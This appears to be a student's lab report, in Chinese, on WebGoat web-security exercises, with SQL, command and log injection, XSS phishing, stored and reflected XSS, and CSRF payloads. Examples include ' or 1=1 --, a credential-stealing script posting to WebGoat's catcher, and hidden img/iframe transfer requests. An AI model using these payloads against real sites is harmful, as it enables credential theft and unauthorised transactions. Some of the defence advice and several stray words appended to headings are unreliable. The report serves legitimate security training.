2018-2019-2 網絡對抗技術 20165305 Exp 9 Web安全基礎

1.基礎問題回答

(1)SQL注入攻擊原理,如何防護java

(2)XSS攻擊的原理,如何防護git

(3)CSRF攻擊原理,如何防護web

2.實踐過程記錄

WebGoat
SQL注入攻擊sql

  1. 命令注入
  2. 日誌欺騙
  3. LAB: SQL Injection

XSS攻擊數據庫

  1. Phishing with XSS 跨站腳本釣魚攻擊
  2. 存儲型XSS攻擊(Stored XSS Attacks)
  3. Reflected XSS Attacks 反射型XSS攻擊

CSRF攻擊瀏覽器

  1. Cross Site Request Forgery(CSRF)
  2. SRF Prompt By-Pass

3.實驗總結與體會

基礎問題回答


(1)SQL注入攻擊原理,如何防護
原理:
SQL注入漏洞是指在Web應用對後臺數據庫查詢語句處理存在的安全漏洞。也就是,在輸入字符串中嵌入SQL指令,在設計程序中忽略對可能構成攻擊的特殊字符串的檢查。後臺數據庫將其認做正常SQL指令後正常執行,可能實現對後臺數據庫進行各類操做,甚至形成破壞後臺數據庫等嚴重後果。
SQL注入通常分爲普通注入和盲注:
普通注入:後臺數據庫會回顯有價值的提示信息,經過這些可能的報錯信息能夠更容易地進行注入,適合新手入門訓練。
盲注:後臺管理員在給出錯誤頁面時,沒有提供詳細錯誤信息。攻擊者須要運用腳本經過僅有的判斷信息(好比時間差)對錶中的每個字段進行探測,從而實現注入。
防護:不要在服務器端放置備份的文件以避免受到感染,或備份的文件含有漏洞,形成切入點;
將數據庫裏的內容進行加密處理使其不具備特殊的意義。安全

(2)XSS攻擊的原理,如何防護
原理:
攻擊者利用網站漏洞(一般這些漏洞是指網站後臺處理程序沒有很好的對用戶輸入進行過濾),輸入能夠顯示在頁面上的、對其餘用戶形成影響的HTML代碼;因爲受害者瀏覽器對目標服務器的信任,當其訪問目標服務器上被注入惡意腳本的頁面後,這段惡意腳本能夠順利執行,實現獲取用戶cookie並能夠利用用戶身份進行非法操做的目的。
防護:在表單提交或者url參數傳遞前,對須要的參數進行過濾;
檢查用戶輸入的內容中是否有非法內容。服務器

(3)CSRF攻擊原理,如何防護
原理:
CSRF攻擊的主要目的是讓用戶在不知情的狀況下攻擊本身已登陸的一個系統,相似於釣魚。如用戶當前已經登陸了郵箱,或bbs,同時用戶又在使用另一個,已經被你控制的站點,咱們姑且叫它釣魚網站。這個網站上面可能由於某個圖片吸引你,你去點擊一下,此時可能就會觸發一個js的點擊事件,構造一個bbs發帖的請求,去往你的bbs發帖,因爲當前你的瀏覽器狀態已是登錄狀態,因此session登錄cookie信息都會跟正常的請求同樣,純自然的利用當前的登錄狀態,讓用戶在不知情的狀況下,幫你發帖或幹其餘事情。
防護:添加加隨機驗證;
設定cookie域。cookie

實踐過程


1、WebGoat


因WebGoat默認使用8080端口,因此開啓前先用netstat -tupln | grep 8080查看端口是否被佔用,若是被佔用,用kill 進程號終止佔用8080端口的進程。
普通安裝,命令行輸入java -jar webgoa t-container-7.0.1-war-exec.jar。
瀏覽器轉:localhost:8080/WebGoat 直接用默認用戶名密碼登陸便可,開始練習。
網絡

2、SQL注入攻擊(Injection Flaws)


1.命令注入
先在左側點擊Injection Flaws,Command Injection,再右鍵點擊頁面,選擇inspect Element審查網頁元素對源代碼進行修改,在複選框中任意一欄的代碼,右鍵單擊後,選擇Edit At Html進行修改,添加"& netstat -an & ipconfig"
點擊view,能夠看到執行指令後的網絡端口使用狀況和IP地址。攻擊成功!

2.日誌欺騙
點擊Injection Flaws-Log Spoofing
在User Name中填入webgoat%0d%0aLogin Succeeded for username: admin,利用回車0D%和換行符%0A讓其在日誌中兩行顯示
輸入密碼後點擊Login,能夠看到webgoat在Login Fail那行顯示,咱們本身添加的語句在下一行顯示。

3.LAB: SQL Injection
在密碼框輸入' or 1=1 --,登陸失敗,會發現密碼只有一部分輸入,說明密碼長度有限制。
咱們在密碼框右鍵選擇inspect Element審查網頁元素對長度進行修改 。
從新輸入' or 1=1 --,登陸成功。

3、XSS攻擊


1. Phishing with XSS 跨站腳本釣魚攻擊
一個帶用戶名和密碼輸入框的表格以下:

<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br> 
Enter Username:<br><input type="text" id="user" name="user"><br> 
Enter Password:<br><input type="password" name = "pass"><br> 
</form><br><br><HR>

在XSS-Phishing with XSS搜索上面代碼,能夠看到頁面中增長了一個表單。

如今咱們須要一段腳本:

<script>
function hack()
{ 
    alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); 
    XSSImage=new Image; 
    XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>

這段代碼會讀取咱們在表單上輸入的用戶名和密碼信息,將這些信息發送給捕獲這些信息的WebGoat。
將上面兩段代碼合併搜索。

<script>
function hack()
{ 
  alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); 
  XSSImage=new Image; 
  XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
} 
</script>
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br> 
Enter Username:<br><input type="text" id="user" name="user"><br> 
Enter Password:<br><input type="password" name = "pass"><br>
<input type="submit" name="login" value="login" onclick="hack()">
</form><br><br><HR>

咱們在搜索到的表單中輸入用戶名和密碼,點擊登陸,WebGoat會將輸入的信息捕獲並反饋給咱們。

2.存儲型XSS攻擊(Stored XSS Attacks)
在title中任意輸入字符,留言板中輸入<script>alert("I am 20165305. You've been attacked!!!");</script>
點擊剛纔輸入的title,而後會彈出一個對話框,證實XSS攻擊成功。

3. Reflected XSS Attacks 反射型XSS攻擊

Enter your three digit access code:中輸入<script>alert("I am 20165305");</script>點擊Purchase,成功顯示警告框,內容爲咱們script腳本指定的內容。

4、CSRF攻擊


1.Cross Site Request Forgery(CSRF)
點擊XSS-Cross Site Request Forgery(CSRF)
查看頁面右下方Parameters中的src和menu值.
在Message框中輸入<img src="http://localhost:8080/WebGoat/attack?Screen=520&menu=900&transferFunds=10000" width="1" height="1" />,以圖片的的形式將URL放進Message框,這時的URL對其餘用戶是不可見的,用戶一旦點擊圖片,就會觸發一個CSRF事件,點擊Submit提交(其中語句中的&transferFunds=10000,即轉走的受害人的金額;寬高設置成1像素的目的是隱藏該圖片)
輸入任意Title,提交後,在Message List中生成以Title命名的連接(消息)。點擊該消息,當前頁面就會下載這個消息並顯示出來,轉走用戶的10000元,從而達到CSRF攻擊的目的。

2. CSRF Prompt By-Pass
點擊XSS-CSRF Prompt By-Pass
同上面的攻擊,查看頁面右下方的Parameters中的src和menu值,並輸入任意的Title,message框中輸入代碼

<iframe src="attack?Screen=536&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=536&menu=900&transferFunds=CONFIRM"> </iframe>

點擊Submit生成以Title命名的連接,點擊連接,攻擊成功

實驗總結與體會

本次實驗基本上都是在webgoat裏面實現的,因此我認爲本次實驗的難點在於webgoat的使用。在webgoat的列表中有不少的模塊,而我從裏面選了一些比較典型的進行了實驗。我認爲本次實驗還不是很難。

相關文章
相關標籤/搜索